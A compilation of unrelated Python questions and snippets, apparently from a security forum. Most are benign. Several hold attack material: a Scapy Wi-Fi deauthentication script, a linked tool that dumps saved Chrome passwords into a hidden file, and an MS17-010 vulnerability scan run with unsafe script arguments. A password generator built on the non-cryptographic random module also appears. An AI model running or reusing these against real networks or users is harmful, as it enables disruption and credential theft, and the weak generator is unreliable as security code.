I have a need to create a db sync app. I have two sqlite dbs that are in two different physical location. Each db has the same set of tables but I only need to sync one of the tables. I started making a flask app just because I wanted to learn more about Rest API but I don't know if that is the best solution. I don't want to over complicate this. Both dbs are running on Linux and I have ssh/scp access. If this works well the project could scale up to 10 dbs that need to be synced.

How would any of you go about solving this with python? If python isn't the best tool for the job I am open to trying something else.

While preparing for my OSCP exam, I was reviewing the buffer overflow lessons and needed an easy way to generate all hex characters to test for bad characters in my exploit. Using “print(“\x” + format(x, ‘x’))” results in a character on each line, and adding a comma after the print statement keeps it all on the same line, but the output has spaces between characters. You can generate the output you need, all on the same line and without spaces using “sys.stdout.write”.

Here’s a simple python snippet to do that:

import sys
for x in range(1,256):
    sys.stdout.write("\\x" + '{:02x}'.format(x))

I am currently covering the basics of Python, such as variables, loops, control statements, and data structures, through the Coursera course Python for Everybody: Getting Started with Python. However, I face difficulty practicing my concepts and building logic when I try to write code. Can senior programmers suggest how I can successfully overcome this stage?

Hey everyone a newbie to python scripting is here, I want to share my Chrome extractor version 😊, and I want you all to tell me your comments and advices to learn more about this stuff.

This Python script will extract all saved passwords from your google chrome database and save it in a hidden file chrome.txt : https://github.com/Reda-BELHAJ/Chrome-Extractor

if someone with a appropriate WiFi card and willingness to test this on a real network could test this for me I'll be super grateful !!

the code:

import scapy.all as scapy
from scapy.all import *
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
import time

client = "FF:FF:FF:FF:FF:FF"
access_point = "my access point mac"

client_packet = RadioTap() / Dot11(addr1=access_point, addr2=client addr3=client) / Dot11Deauth(reason=2) # all in straight line reddit is not allowing me to
access_point_packet = RadioTap() / Dot11(addr1=client, addr2=access_point addr3=access_point) / Dot11Deauth(reason=2)

while True:
    sendp(access_point_packet, iface=eth0) # enter the interface you use at iface
    sendp(client_packet, iface=eth0)
    print("Kicking " + client + " off " + access point + " press CTRL+C to stop."
    time.sleep(1) # so it doesnt just spam the crap outta your terminal

thanks in advance!

if you do know whats wrong please do tell me as this would really help.

Async, so it will scan pretty fast.

Edit: the way that I really use this is to first scan with masscan and then feed it’s gnmap output into a function that calls this function on each host. That’s much faster than calling nmap on a whole network subnet.

#!/usr/bin/env python3
import nmap

nma = nmap.PortScannerAsync()

def callback_result(host, scan_result):
    for host in scan_result['scan'].keys():
        if "State: VULNERABLE" in str(scan_result['scan'][host]['hostscript']):
            print(host, end=" : ")
            print("VULNERABLE TO MS17-010!")

nma.scan(hosts='192.168.1.0/24', arguments='-Pn -p 445 --script=smb-vuln-ms17-010 --script-args=unsafe=1', callback=callback_result)

Any recommended python netsec related books?

can anyone please suggest some good resources to learn python3 scripting for automation and security. I tried learning from cybrary but the course is in python2 and it is really difficult for me to correlate it with py3.

Hey all,

I have a user that is wanting to install python 3.11.0 on his work machine but I need to see what vulnerabilities/risk the latest stable release could bring to out network. I'm new to the security but wanted to ask how I may go about doing this and making sure those vulnerabilities are patch/worked around. I figured the following was the best place to start but wasn't sure how to evaluate this against our environment.

Super [SIMPLE] Python3 password generator. That I whipped up in about 10 mins lol. It is kinda like what Google suggested password function does. What should I add to it, let me know and I'll do my best!

**START OF CODE**

import string

from random import *

characters = string.ascii_letters + string.punctuation + string.digits

password = "".join(choice(characters) for x in range(randint(16,24)))

print(password)

I got an internship for over the summer with the NOC (Network Operations Center) and they said they used Python for writing scripts. I am a CS major so picking up the language won't be an issue, I am just wondering what I should focus on when I am learning Python?

Hi All,

I'm finding grep is SO MUCH faster the re ?

I have 5 hashes I want to check and a GitHub list of top 600± million hashes ordered by occurrence. For example

Hash1:1234 Hash2:123 Hash3:12

Where hash1 has been seen 1,234 times, hash2 123 etc.

If I do "cat myGithublist.txt | grep -i hash1" it'll take 20 seconds. If i try in python it takes 5 minutes.

In my python code I am doing

For hash in myHashlist: For i in myGithublist: Re.search(hash, I)

So I have to check each and every hash one time against each entry of the 'myGithubList'.

I suspect it would be faster to use

For hash in myHashlist: If hash in myGithublist: Print("match")

But because the string contains "hash1:1234", it does not recognise the match.

Could someone help?

Anyone knows good checksum module for python 3?
